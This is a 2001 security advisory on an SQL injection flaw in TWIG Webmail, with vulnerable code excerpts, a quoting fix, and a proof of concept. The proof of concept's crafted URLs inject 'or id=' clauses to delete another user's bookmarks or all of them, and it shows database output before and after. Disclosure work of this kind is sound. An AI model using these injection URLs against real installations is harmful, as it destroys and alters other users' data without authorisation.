I can't find the person who really in charge on developing twig, so I
mail about this bug to the person who announce new version of twig
about two month ago.
--------------------------------------------------------------------------
Subject: Unquoted SQL query => potential damage
Software package: TWIG Webmail
Software Site: HTTP://twig.screwdriver.net
Version tested: 2.6.2 and below (used with MySQL, didn't check others)
Platform: Platform independent with PHP
Result: Any user with valid email account can delete or change
other user's data on mysql database.
Proof Of Concept: Attached
Problem Description:
=====================
Unquoted SQL query string is a little mistake that could lead to potential
damage.
TWIG free PHP Webmail system is affected. As we know, mysql accept unquoted
query string if the field type is int, mediumint, tinyint or like.
The query:
DELETE FROM mytable WHERE id='1' AND owner='karet'
have the same effect with:
DELETE FROM mytable WHERE id=1 AND owner='karet'
However additional caution must be made if variable 'id' values on above
example is a user suplied data thus could make that user to have control
over sql query and made a modified version of query like:
DELETE FROM mytable WHERE id=1 OR id=2 OR id=3 AND owner='karet'
~~~~~~~~~~~~~~~~
(modified value)
the modified query string above, ofcourse, have diferent meanings :)
value of "$id=1" is changed to "$id=1 OR id=2 OR id=3".
Doing 'grep -r "WHERE id=" <TWIG installation dir>/lib/*' will output
LOT of intresting informations of which function has query string
match our need - this may varies depend on TWIG version you have.
Some of them:
groups/personal.groups.inc.php3:
$query = "UPDATE " . $dbconfig["groups_table"] . " SET groupname='" .
$newname . "' WHERE id=" . $groupid;
[... lots other]
schedule/schedule.edit.inc.php3:
$query = "DELETE FROM " . $dbconfig["schedule_table"] . " WHERE id = " .
$data["id"] . " AND (" . $groupquery . ")";
[... lots other]
... and other files.
Or if you really want to clearly see and debug every query made by TWIG
then with help of query system on TWIG it can be done easilly :)
TWIG has a function named 'dbQuery' that always called on every
sql query request.
(if used with mysql it's on <twig dir>/lib/db/mysql.db.inc.php3)
Add the following code at the top of Function dbQuery( $statement )
to be like (with TWIG 2.6.2):
[SNIP]
$fp = fopen ("/tmp/twig_sql.log", "a");
fwrite ($fp, $statement);
fclose($fp);
[/SNIP]
so every sql request string will be appended to file "/tmp/twig_sql.log".
>From that file you can see every action performed and audit it.
Solutions:
=============
just simply add a proper quoted sign "'" to query string that using
int,mediumint, tinyint and so like field type as WHERE clause.
If the $id values on example above lied between a quoted sign then the query
will looks like:
DELETE FROM mytable WHERE id='1 OR id=2 OR id=3' AND owner='karet'
which will output no result at all ... (on normal operation we can not
inject own quote "'" sign as PHP will filter and change it to "\'")
NB: thx to echo for let me test it (also for the beers ;p).
==============================
jenggo <[EMAIL PROTECTED]>
http://www.karet.org
=============================
============================================
[Fri Mar 2 21:58:46 JAVT 2001]
TWIG Webmail Unquoted Query String
Proof Of Concept by jenggo <[EMAIL PROTECTED]>
============================================
We will try to delete other user mysql data, in this example 'bookmarks'
data. Same action can be made on other data like 'contact' or else ...
You must have existing data before change/deleted others, so add it first.
-------------------------------------------
Login as usuall user account ('eca' in this example)
and go to 'bookmarks' option and choose 'edit'.
View the page source and find the important value:
[cutted to only view string we interested]
<==>
<hr><form action=/webmail/index.php3 method=POST>
<input type=hidden name=twig_sid value="983392539-1-eca">
<input type=hidden name=twig_cid value="983392539-14-eca">
<input type=hidden name=data[id] value=3>
<input type=hidden name=ItemID value=3>
<==>
<select name=data[groupid]>
<option value=0 >Unfiled</option>
<==>
<input type=submit name=submitbutton[delete] value="Delete">
<==>
------------------------------------------
NOTE:
The url could be different looks depend on what type of authentication you use.
I use sqltable type, if you use cookies type then the url may *much* longer
than this !
------------------------------------------
Construct the exploit url,
Actual url:
http://192.168.0.18/webmail/index.php3?ts=983392426&twig_sid=983392414-1-eca&twig_cid=983392414-14-eca&ItemID=3
Change it to:
http://192.168.0.18/webmail/index.php3?ts=983392426&twig_sid=983392539-1-eca&twig_cid=983392539-14-eca&ItemID=2&data[groupid]=0&submitbutton[delete]=Delete&data[id]=2%20or%20id%3d2
------------------------------------------
NOTE:
we change string: ItemID=3 to ItemID=2
we added string:
"&data[groupid]=0&submitbutton[delete]=Delete&data[id]=2%20or%20id%3d2"
~~~~~~~~~~~~~~
(this is it)
or for more damage (deleting all data):
http://192.168.0.18/webmail/index.php3?ts=983393006&twig_sid=983393050-1-eca&twig_cid=983393050-14-eca&ItemID=2&data[id]=2%20or%20groupid%3d0&data[groupid]=0&submitbutton[delete]=Delete
~~~~~~~~~~~~~~~~~~~
(this is it)
so the sql query would change from:
DELETE FROM twig_bookmarks WHERE id=3 AND groupid=0 AND username='eca'
to:
DELETE FROM twig_bookmarks WHERE id=2 or id=2 AND groupid=0 AND username='eca'
or for more damage:
DELETE FROM twig_bookmarks WHERE id=2 or groupid=0 AND groupid=0 AND username='eca'
***************RESULT********************
[From mysql console before the exploit]
mysql> select id,username,groupid,url from twig_bookmarks;
+----+----------+---------+-------+
| id | username | groupid | url |
+----+----------+---------+-------+
| 1 | pohenk | 0 | zzzz |
| 2 | pohenk | 0 | yyyyy |
| 3 | eca | 0 | aaaa |
+----+----------+---------+-------+
3 rows in set (0.21 sec)
[From mysql console after the exploit]
mysql> select id,username,groupid,url from twig_bookmarks;
+----+----------+---------+--------+
| id | username | groupid | url |
+----+----------+---------+--------+
| 1 | pohenk | 0 | zzzz |
| 3 | eca | 0 | aaaa |
+----+----------+---------+--------+
2 rows in set (0.02 sec)
as user 'eca' we could delete/update user 'pohenk' data or else.
[Fri Mar 2 21:58:46 JAVT 2001] - jenggo <[EMAIL PROTECTED]>